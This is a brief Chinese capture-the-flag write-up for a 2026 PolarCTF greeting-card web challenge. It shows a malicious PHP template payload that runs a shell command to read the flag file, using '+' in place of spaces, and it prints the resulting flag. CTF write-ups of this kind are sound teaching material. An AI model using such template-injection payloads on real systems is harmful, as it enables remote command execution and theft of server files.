【PolarCTF2026年春季挑战赛】新年贺卡

添加一个恶意模板

PHP代码中通过+来避免空格

<?php+system("cat+/flag*")?>

使用该模板制作贺卡

打开生成的贺卡

得到flag{09328acfbc035a4e69a710f71eab8a5c}